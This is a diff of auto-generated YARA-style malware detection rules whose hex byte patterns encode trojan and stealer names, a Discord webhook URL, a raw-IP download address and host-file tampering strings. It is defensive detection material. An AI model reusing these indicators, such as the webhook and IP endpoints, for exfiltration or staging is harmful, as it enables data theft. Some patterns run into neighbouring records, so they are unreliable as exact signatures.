"!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 05 00 21 " @@ -131007,7 +139695,7 @@ rule _InfrastructureShared_11840{ ((#a_46_0 & 1)*16675+(#a_01_2 & 1)*3072+(#a_37_3 & 1)*22017+(#a_6c_4 & 1)*28265) >=14 } -rule _InfrastructureShared_11841{ +rule _InfrastructureShared_12614{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 05 00 21 " @@ -131021,7 +139709,7 @@ rule _InfrastructureShared_11841{ ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*-32493+(#a_6f_2 & 1)*29550+(#a_33_3 & 1)*11873+(#a_00_4 & 1)*26478) >=14 } -rule _InfrastructureShared_11842{ +rule _InfrastructureShared_12615{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 08 00 21 " @@ -131038,7 +139726,7 @@ rule _InfrastructureShared_11842{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*25955+(#a_6f_2 & 1)*17920+(#a_13_3 & 1)*1555+(#a_9c_4 & 1)*656+(#a_03_5 & 1)*10+(#a_80_6 & 1)*2+(#a_80_7 & 1)*2) >=17 } -rule _InfrastructureShared_11843{ +rule _InfrastructureShared_12616{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,18 00 14 00 04 00 21 " @@ -131051,7 +139739,7 @@ rule _InfrastructureShared_11843{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*2066+(#a_00_2 & 1)*144+(#a_74_3 & 1)*16641) >=20 } -rule _InfrastructureShared_11844{ +rule _InfrastructureShared_12617{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,19 00 19 00 07 00 21 " @@ -131066,7 +139754,7 @@ rule _InfrastructureShared_11844{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*16897+(#a_32_2 & 1)*18774+(#a_90_3 & 1)*0+(#a_ff_4 & 1)*21249+(#a_00_6 & 1)*101) >=25 } -rule _InfrastructureShared_11845{ +rule _InfrastructureShared_12618{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1a 00 1a 00 08 00 21 " @@ -131082,7 +139770,7 @@ rule _InfrastructureShared_11845{ ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*385+(#a_50_2 & 1)*21076+(#a_79_3 & 1)*28525+(#a_79_4 & 1)*27728+(#a_36_5 & 1)*12852+(#a_3a_7 & 1)*19521) >=26 } -rule _InfrastructureShared_11846{ +rule _InfrastructureShared_12619{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1f 00 1f 00 06 00 21 " @@ -131097,7 +139785,7 @@ rule _InfrastructureShared_11846{ ((#a_54_0 & 1)*18467+(#a_d6_1 & 1)*18259+(#a_46_2 & 1)*16675+(#a_01_3 & 1)*30091+(#a_74_4 & 1)*18464+(#a_6c_5 & 1)*25940) >=31 } -rule _InfrastructureShared_11847{ +rule _InfrastructureShared_12620{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,65 00 65 00 02 00 21 " @@ -131107,7 +139795,7 @@ rule _InfrastructureShared_11847{ ((#a_54_0 & 1)*18467) >=101 } -rule _InfrastructureShared_11848{ +rule _InfrastructureShared_12621{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -131117,7 +139805,7 @@ rule _InfrastructureShared_11848{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_11849{ +rule _InfrastructureShared_12622{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -131127,7 +139815,7 @@ rule _InfrastructureShared_11849{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11850{ +rule _InfrastructureShared_12623{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -131137,7 +139825,7 @@ rule _InfrastructureShared_11850{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11851{ +rule _InfrastructureShared_12624{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -131147,7 +139835,7 @@ rule _InfrastructureShared_11851{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11852{ +rule _InfrastructureShared_12625{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -131157,7 +139845,7 @@ rule _InfrastructureShared_11852{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11853{ +rule _InfrastructureShared_12626{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -131167,7 +139855,7 @@ rule _InfrastructureShared_11853{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11854{ +rule _InfrastructureShared_12627{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -131177,7 +139865,7 @@ rule _InfrastructureShared_11854{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11855{ +rule _InfrastructureShared_12628{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -131187,7 +139875,7 @@ rule _InfrastructureShared_11855{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_11856{ +rule _InfrastructureShared_12629{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -131197,7 +139885,17 @@ rule _InfrastructureShared_11856{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_11857{ +rule _InfrastructureShared_12630{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 52 59 21 4d 54 42 00 01 00 78 01 20 20 20 00 20 20 20 20 00 c0 06 00 00 10 00 00 00 d6 02 00 00 10 00 00 00 00 00 00 00 00 00 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_12631{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -131207,7 +139905,7 @@ rule _InfrastructureShared_11857{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_11858{ +rule _InfrastructureShared_12632{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -131218,7 +139916,7 @@ rule _InfrastructureShared_11858{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*400) >=1 } -rule _InfrastructureShared_11859{ +rule _InfrastructureShared_12633{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -131229,7 +139927,7 @@ rule _InfrastructureShared_11859{ ((#a_54_0 & 1)*18467+(#a_8b_2 & 1)*17803) >=1 } -rule _InfrastructureShared_11860{ +rule _InfrastructureShared_12634{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -131243,7 +139941,7 @@ rule _InfrastructureShared_11860{ ((#a_54_0 & 1)*18467+(#a_42_1 & 1)*17862+(#a_36_2 & 1)*14150+(#a_45_3 & 1)*13622+(#a_00_4 & 1)*30720) >=1 } -rule _InfrastructureShared_11861{ +rule _InfrastructureShared_12635{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -131257,7 +139955,7 @@ rule _InfrastructureShared_11861{ ((#a_54_0 & 1)*18467+(#a_36_1 & 1)*14133+(#a_37_2 & 1)*13878+(#a_08_3 & 1)*-28672+(#a_08_4 & 1)*-28656) >=1 } -rule _InfrastructureShared_11862{ +rule _InfrastructureShared_12636{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -131271,7 +139969,7 @@ rule _InfrastructureShared_11862{ ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*4544+(#a_0c_2 & 1)*1719+(#a_74_3 & 1)*28757+(#a_00_4 & 1)*29954) >=1 } -rule _InfrastructureShared_11863{ +rule _InfrastructureShared_12637{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " @@ -131286,7 +139984,7 @@ rule _InfrastructureShared_11863{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*1163+(#a_04_2 & 1)*-31994+(#a_58_3 & 1)*7056+(#a_93_4 & 1)*257+(#a_48_5 & 1)*21038) >=1 } -rule _InfrastructureShared_11864{ +rule _InfrastructureShared_12638{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0a 00 21 " @@ -131302,7 +140000,7 @@ rule _InfrastructureShared_11864{ ((#a_54_0 & 1)*18467+(#a_03_1 & 1)*-29946+(#a_0c_3 & 1)*11264+(#a_30_4 & 1)*-28665+(#a_90_5 & 1)*1025+(#a_48_8 & 1)*8448+(#a_00_9 & 1)*66) >=1 } -rule _InfrastructureShared_11865{ +rule _InfrastructureShared_12639{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -131313,7 +140011,7 @@ rule _InfrastructureShared_11865{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28655) >=2 } -rule _InfrastructureShared_11866{ +rule _InfrastructureShared_12640{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -131324,7 +140022,7 @@ rule _InfrastructureShared_11866{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*22784) >=2 } -rule _InfrastructureShared_11867{ +rule _InfrastructureShared_12641{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -131335,7 +140033,7 @@ rule _InfrastructureShared_11867{ ((#a_54_0 & 1)*18467+(#a_b9_2 & 1)*0) >=2 } -rule _InfrastructureShared_11868{ +rule _InfrastructureShared_12642{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -131347,7 +140045,7 @@ rule _InfrastructureShared_11868{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*101+(#a_08_3 & 1)*17606) >=2 } -rule _InfrastructureShared_11869{ +rule _InfrastructureShared_12643{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -131359,7 +140057,7 @@ rule _InfrastructureShared_11869{ ((#a_54_0 & 1)*18467+(#a_85_1 & 1)*-32320+(#a_89_3 & 1)*19126) >=2 } -rule _InfrastructureShared_11870{ +rule _InfrastructureShared_12644{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -131373,7 +140071,7 @@ rule _InfrastructureShared_11870{ ((#a_54_0 & 1)*18467+(#a_d7_1 & 1)*-16087+(#a_81_2 & 1)*6400+(#a_6a_3 & 1)*656+(#a_3a_4 & 1)*21587) >=2 } -rule _InfrastructureShared_11871{ +rule _InfrastructureShared_12645{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " @@ -131382,12 +140080,12 @@ rule _InfrastructureShared_11871{ $a_84_1 = {01 02 00 00 90 09 03 00 8b 45 90 00 01 00 0c } //56 $a_02_2 = {fe 7f 90 02 50 8b 00 90 00 01 00 10 03 33 f0 fe c9 0f 85 90 01 04 83 64 24 fc 00 90 00 01 00 11 03 83 c2 04 83 c3 04 49 0f 85 90 01 04 8b 5d fc 90 00 00 00 78 ab 00 00 02 00 02 00 07 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 6f 72 74 4b 6e 6f 63 6b 2e 41 00 02 00 0e 02 70 6f 72 74 90 02 10 6b 6e 6f 63 6b 90 00 9c ff 15 80 01 44 65 76 6f 6c 75 74 69 6f 6e 73 2e 50 72 6f 74 6f 63 6f 6c 73 9c ff 09 80 01 6b 6e 6f 63 6b 62 61 63 6b 9c ff 08 80 01 6b 6e 6f 63 6b 6f 75 74 9c ff 0f 80 01 53 65 63 75 72 65 42 6c 61 63 6b 62 6f 78 2e 9c ff 0a 80 01 6c 69 62 73 73 68 2e 6f 72 67 9c ff 16 02 4f 70 70 6f 72 74 75 6e 69 74 79 90 02 10 6b 6e 6f 63 6b 73 90 00 00 00 78 ab 00 00 03 } //-18429 $a_41_4 = {46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 65 6e 70 61 6b 2e 41 5a 4e 21 4d 54 42 00 02 00 3d 03 89 } //8448 - $a_4d_5 = {0f 84 90 01 04 e9 90 01 04 31 25 90 01 04 b8 04 00 00 00 89 c2 eb 0c 01 35 90 01 04 e9 90 01 04 c3 8d 05 90 01 04 01 18 83 ea 02 8d 05 90 01 04 89 38 40 8d 05 90 00 01 00 3c 01 2d ac 00 00 00 2d ac 00 00 00 2d ac 00 00 00 2d ac 00 00 00 2d ac 00 00 00 2d ac 00 00 00 2d ac 00 00 00 2d ac 00 00 00 2d ac 00 00 00 2d ac 00 00 00 2d ac 00 00 00 2d ac 00 00 00 00 00 78 ab 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a } //-14267 + $a_4d_5 = {0f 84 90 01 04 e9 90 01 04 31 25 90 01 04 b8 04 00 00 00 89 c2 eb 0c 01 35 90 01 04 e9 90 01 04 c3 8d 05 90 01 04 01 18 83 ea 02 8d 05 90 01 04 89 38 40 8d 05 90 00 01 00 3c 01 2d ac 00 00 00 2d ac 00 00 00 2d ac 00 00 00 2d ac 00 00 00 2d ac 00 00 00 2d ac 00 00 00 2d ac 00 00 00 2d ac 00 00 00 2d ac 00 00 00 2d ac 00 00 00 2d ac 00 00 00 2d ac 00 00 00 00 00 78 ab 00 00 03 00 03 00 02 00 21 23 48 53 54 52 } //-14267 condition: ((#a_54_0 & 1)*18467+(#a_84_1 & 1)*56+(#a_02_2 & 1)*-18429+(#a_41_4 & 1)*8448+(#a_4d_5 & 1)*-14267) >=2 } -rule _InfrastructureShared_11872{ +rule _InfrastructureShared_12646{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 07 00 21 " @@ -131403,18 +140101,29 @@ rule _InfrastructureShared_11872{ ((#a_4c_0 & 1)*21539+(#a_80_1 & 1)*-100+(#a_80_2 & 1)*-100+(#a_80_3 & 1)*-100+(#a_80_4 & 1)*-100+(#a_02_5 & 1)*-100+(#a_ab_6 & 1)*0) >=2 } -rule _InfrastructureShared_11873{ +rule _InfrastructureShared_12647{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 65 6e 70 61 6b 2e 41 5a 4e 21 4d 54 42 00 02 00 3d 03 89 45 c8 89 4d f4 0f 84 90 01 04 e9 90 01 04 31 25 90 01 04 b8 04 00 00 00 89 c2 eb 0c 01 35 90 01 04 e9 90 01 04 c3 8d 05 90 01 04 } //16675 - $a_ea_1 = {8d 05 90 01 04 89 38 40 8d 05 90 00 01 00 3c 01 2d ac 00 00 00 2d ac 00 00 00 2d ac 00 00 00 2d ac 00 00 00 2d ac 00 00 00 2d ac 00 00 00 2d ac 00 00 00 2d ac 00 00 00 2d ac 00 00 00 2d ac 00 00 00 2d ac 00 00 00 2d ac 00 00 00 00 00 78 ab 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 44 69 7a 7a 79 43 72 61 6e 62 65 72 72 79 2e 41 21 64 68 61 00 01 } //6145 + $a_ea_1 = {8d 05 90 01 04 89 38 40 8d 05 90 00 01 00 3c 01 2d ac 00 00 00 2d ac 00 00 00 2d ac 00 00 00 2d ac 00 00 00 2d ac 00 00 00 2d ac 00 00 00 2d ac 00 00 00 2d ac 00 00 00 2d ac 00 00 00 2d ac 00 00 00 2d ac 00 00 00 2d ac 00 00 00 00 00 78 ab 00 00 03 00 03 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 56 61 6c 6c 65 79 52 61 74 2e 41 56 45 52 21 4d 54 42 00 02 00 52 01 } //6145 condition: ((#a_46_0 & 1)*16675+(#a_ea_1 & 1)*6145) >=3 } -rule _InfrastructureShared_11874{ +rule _InfrastructureShared_12648{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 56 61 6c 6c 65 79 52 61 74 2e 41 56 45 52 21 4d 54 42 00 02 00 52 01 62 00 61 00 69 00 61 00 69 00 64 00 75 00 2e 00 6f 00 73 00 73 00 2d 00 6d 00 65 00 2d 00 65 00 61 00 73 00 74 00 2d 00 31 00 2e 00 61 00 } //18467 + $a_00_1 = {79 00 75 00 6e 00 63 00 73 00 2e 00 63 00 6f 00 6d 00 2f 00 77 00 70 00 2e 00 70 00 6e 00 67 00 01 00 22 01 74 00 65 00 6d 00 70 00 5f 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 2e 00 64 00 61 00 74 00 00 00 78 ab 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 44 69 } //108 + condition: + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*108) >=3 + +} +rule _InfrastructureShared_12649{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -131426,7 +140135,7 @@ rule _InfrastructureShared_11874{ ((#a_46_0 & 1)*16675+(#a_4d_1 & 1)*29793+(#a_4c_2 & 1)*21325) >=3 } -rule _InfrastructureShared_11875{ +rule _InfrastructureShared_12650{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -131438,7 +140147,7 @@ rule _InfrastructureShared_11875{ ((#a_46_0 & 1)*16675+(#a_11_1 & 1)*2560+(#a_00_2 & 1)*108) >=3 } -rule _InfrastructureShared_11876{ +rule _InfrastructureShared_12651{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -131450,7 +140159,7 @@ rule _InfrastructureShared_11876{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*119+(#a_6e_2 & 1)*22330) >=3 } -rule _InfrastructureShared_11877{ +rule _InfrastructureShared_12652{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -131462,7 +140171,7 @@ rule _InfrastructureShared_11877{ ((#a_46_0 & 1)*16675+(#a_e9_1 & 1)*804+(#a_00_2 & 1)*32) >=3 } -rule _InfrastructureShared_11878{ +rule _InfrastructureShared_12653{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -131473,7 +140182,7 @@ rule _InfrastructureShared_11878{ ((#a_45_0 & 1)*17187+(#a_00_2 & 1)*65) >=3 } -rule _InfrastructureShared_11879{ +rule _InfrastructureShared_12654{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -131485,7 +140194,7 @@ rule _InfrastructureShared_11879{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*30019+(#a_41_2 & 1)*29813) >=3 } -rule _InfrastructureShared_11880{ +rule _InfrastructureShared_12655{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -131496,7 +140205,7 @@ rule _InfrastructureShared_11880{ ((#a_46_0 & 1)*21283+(#a_50_2 & 1)*27222) >=3 } -rule _InfrastructureShared_11881{ +rule _InfrastructureShared_12656{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -131509,7 +140218,7 @@ rule _InfrastructureShared_11881{ ((#a_46_0 & 1)*16675+(#a_36_1 & 1)*13875+(#a_36_2 & 1)*13879+(#a_2f_3 & 1)*13166) >=3 } -rule _InfrastructureShared_11882{ +rule _InfrastructureShared_12657{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -131521,7 +140230,7 @@ rule _InfrastructureShared_11882{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*4098+(#a_00_3 & 1)*110) >=3 } -rule _InfrastructureShared_11883{ +rule _InfrastructureShared_12658{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -131534,7 +140243,7 @@ rule _InfrastructureShared_11883{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*25637+(#a_6f_2 & 1)*10272+(#a_00_3 & 1)*12389) >=3 } -rule _InfrastructureShared_11884{ +rule _InfrastructureShared_12659{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -131547,7 +140256,7 @@ rule _InfrastructureShared_11884{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*13368+(#a_46_2 & 1)*16690+(#a_74_3 & 1)*25959) >=4 } -rule _InfrastructureShared_11885{ +rule _InfrastructureShared_12660{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -131555,24 +140264,38 @@ rule _InfrastructureShared_11885{ $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 54 56 45 21 4d 54 42 00 01 00 32 81 01 53 74 61 74 69 73 74 69 63 73 5f 54 6f 6f 6c 73 31 2e 44 72 6f 70 44 6f 77 6e 43 68 65 63 6b 65 64 4c 69 73 74 42 6f } //16675 $a_65_1 = {6f 75 72 63 65 73 01 00 15 00 06 09 06 09 91 20 a4 01 00 00 59 d2 9c 09 17 58 0d 09 08 31 eb 01 00 19 81 01 30 32 34 2f 30 38 31 2e 39 30 32 2e 35 31 31 2e 32 38 2f 2f 3a 70 74 74 68 01 00 0a 81 01 53 74 72 52 65 76 65 72 73 65 00 00 78 ab 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 72 79 70 74 49 6e 6a } //11896 $a_2e_2 = {57 21 4d 54 42 00 01 00 0e 81 01 43 61 73 69 6e 6f 20 45 78 70 6c 6f 69 74 01 00 28 81 01 49 6e 6a 65 63 74 65 64 20 74 6f 20 47 72 6f 77 74 6f 70 69 61 2c 20 68 61 70 70 79 20 65 78 70 6c 6f 69 74 69 6e 67 21 01 00 13 81 01 5c 47 72 6f 77 74 6f 70 69 61 5c 73 61 76 65 2e 64 61 74 01 00 21 81 01 68 74 74 70 73 3a 2f 2f 64 69 73 63 6f 72 64 2e 63 } //25445 - $a_61_3 = {69 2f 77 65 62 68 6f 6f 6b 73 2f 00 00 78 ab 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 59 32 56 3a 46 4c 6f 72 69 61 6e 5f 52 6f 74 68 2f 41 } //28015 + $a_61_3 = {69 2f 77 65 62 68 6f 6f 6b 73 2f 00 00 78 ab 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 55 72 73 75 2e } //28015 condition: ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*11896+(#a_2e_2 & 1)*25445+(#a_61_3 & 1)*28015) >=4 } -rule _InfrastructureShared_11886{ +rule _InfrastructureShared_12661{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 72 79 70 74 49 6e 6a 65 63 74 2e 42 57 21 4d 54 42 00 01 00 0e 81 01 43 61 73 69 6e 6f 20 45 78 70 6c 6f 69 74 01 00 28 81 01 49 6e 6a 65 63 74 65 64 20 74 6f 20 47 72 6f 77 74 6f 70 69 61 } //16675 - $a_61_1 = {70 79 20 65 78 70 6c 6f 69 74 69 6e 67 21 01 00 13 81 01 5c 47 72 6f 77 74 6f 70 69 61 5c 73 61 76 65 2e 64 61 74 01 00 21 81 01 68 74 74 70 73 3a 2f 2f 64 69 73 63 6f 72 64 2e 63 6f 6d 2f 61 70 69 2f 77 65 62 68 6f 6f 6b 73 2f 00 00 78 ab 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 59 32 56 3a 46 4c 6f 72 69 61 } //8236 - $a_6f_2 = {68 2f 41 50 54 5f 50 72 6f 6a 65 63 74 5f 53 61 75 72 6f 6e 5f 43 75 73 74 6f 6d 5f 4d 33 00 01 00 32 03 45 78 61 6d 70 6c 65 50 72 6f 6a 65 63 74 2e 64 6c 6c 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d } //24430 + $a_61_1 = {70 79 20 65 78 70 6c 6f 69 74 69 6e 67 21 01 00 13 81 01 5c 47 72 6f 77 74 6f 70 69 61 5c 73 61 76 65 2e 64 61 74 01 00 21 81 01 68 74 74 70 73 3a 2f 2f 64 69 73 63 6f 72 64 2e 63 6f 6d 2f 61 70 69 2f 77 65 62 68 6f 6f 6b 73 2f 00 00 78 ab 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e } //8236 + $a_55_2 = {73 75 2e 4e 53 21 4d 54 42 00 02 00 3b 03 57 55 83 c4 f4 89 4c 24 04 66 89 14 24 8b f0 33 db c6 44 24 08 01 a1 90 01 04 8b 78 68 85 ff 74 28 } //12851 + $a_aa_3 = {00 00 00 74 1e 8d 44 24 08 50 8b 4c 24 08 66 8b 54 24 04 90 00 01 00 0b 01 72 65 73 70 6c 67 64 6c 6c 33 32 01 00 20 01 78 00 65 00 6e 00 67 00 69 00 6e 00 65 00 77 00 69 00 6e 00 33 00 32 00 2e 00 64 00 61 00 74 00 01 00 0e 01 61 61 64 6f 62 65 74 65 63 68 2e 63 6f 6d 00 00 78 ab 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 59 32 56 3a 46 4c 6f 72 69 61 6e 5f 52 6f 74 68 2f 41 50 54 5f 50 72 6f 6a 65 63 74 5f 53 61 75 72 6f 6e 5f 43 75 73 74 6f 6d 5f 4d 33 00 01 00 32 03 45 78 61 6d 70 6c 65 50 72 6f 6a 65 63 74 2e 64 6c 6c 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 } //-31898 condition: - ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*8236+(#a_6f_2 & 1)*24430) >=4 + ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*8236+(#a_55_2 & 1)*12851+(#a_aa_3 & 1)*-31898) >=4 } -rule _InfrastructureShared_11887{ +rule _InfrastructureShared_12662{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 55 72 73 75 2e 4e 53 21 4d 54 42 00 02 00 3b 03 57 55 83 c4 f4 89 4c 24 04 66 89 14 24 8b f0 33 db c6 44 24 08 01 a1 90 01 04 8b 78 68 85 ff 74 28 66 83 bf aa 02 00 00 00 74 1e 8d 44 24 08 } //16675 + $a_24_1 = {66 8b 54 24 04 90 00 01 00 0b 01 72 65 73 70 6c 67 64 6c 6c 33 32 01 00 20 01 78 00 65 00 6e 00 67 00 69 00 6e 00 65 00 77 00 69 00 6e 00 33 00 32 00 2e 00 64 00 61 00 74 00 01 00 0e 01 61 61 64 6f 62 65 74 65 63 68 2e 63 6f 6d } //-29872 + $a_ab_2 = {00 04 00 04 00 04 00 21 23 41 4c 46 3a 59 32 56 3a 46 4c 6f 72 69 61 6e 5f 52 6f 74 68 2f 41 50 54 5f 50 72 6f 6a 65 63 74 5f 53 61 75 72 6f 6e 5f 43 75 73 74 6f 6d 5f 4d 33 00 01 00 32 03 45 78 61 6d 70 6c 65 50 72 6f 6a 65 63 74 2e 64 6c 6c 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 0d 01 8b 4f 06 } //0 + $a_14_3 = {f9 13 0f 82 ba 01 00 10 01 ff 15 34 20 00 10 85 c0 59 a3 60 30 00 10 75 04 01 00 10 01 55 8b ec ff 4d 0c 75 09 ff 75 08 ff 15 00 20 00 00 00 78 ab 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 48 6f 73 74 4d 6f 64 69 66 79 2e 32 00 01 00 1e 03 73 79 6d 61 6e 74 65 63 2e 63 6f 6d 90 05 05 03 00 0a 0d 31 32 37 2e 30 2e 30 2e 31 90 00 01 00 